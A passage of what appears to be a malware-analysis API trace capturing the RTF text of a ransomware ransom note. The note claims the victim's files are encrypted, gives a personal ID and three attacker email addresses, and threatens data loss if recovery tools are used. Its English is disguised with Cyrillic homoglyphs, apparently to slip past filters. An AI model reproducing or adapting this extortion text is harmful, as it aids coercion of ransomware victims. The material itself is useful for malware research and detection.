r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1da3ea8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 